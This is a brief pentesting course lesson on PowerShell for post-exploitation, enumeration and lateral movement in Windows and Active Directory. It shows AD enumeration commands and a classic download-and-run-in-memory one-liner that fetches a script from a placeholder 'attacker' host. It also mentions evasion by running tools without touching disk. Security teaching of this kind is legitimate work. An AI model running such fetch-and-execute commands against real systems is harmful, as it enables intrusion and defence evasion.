Programming & Scripting for Pentesters

PowerShell for Offensive Operations

The attacker's language on Windows and Active Directory.

Advanced · 14 min

Open the interactive lesson →

PowerShell is built into every modern Windows box and has deep access to the OS and Active Directory — which makes it the go-to for post-exploitation, enumeration, and lateral movement on Windows networks.

# Enumerate the domain (AD module / built-ins)
Get-ADUser -Filter * -Properties MemberOf
Get-ADComputer -Filter *

# Download & run in memory (classic offensive one-liner)
IEX (New-Object Net.WebClient).DownloadString('http://attacker/tool.ps1')

• Enumeration — users, groups, shares, GPOs, trusts.
• Offensive toolkits — PowerView, PowerSploit, PowerUp (privesc checks).
• In-memory execution — run tooling without touching disk (evasion).

Take the quiz →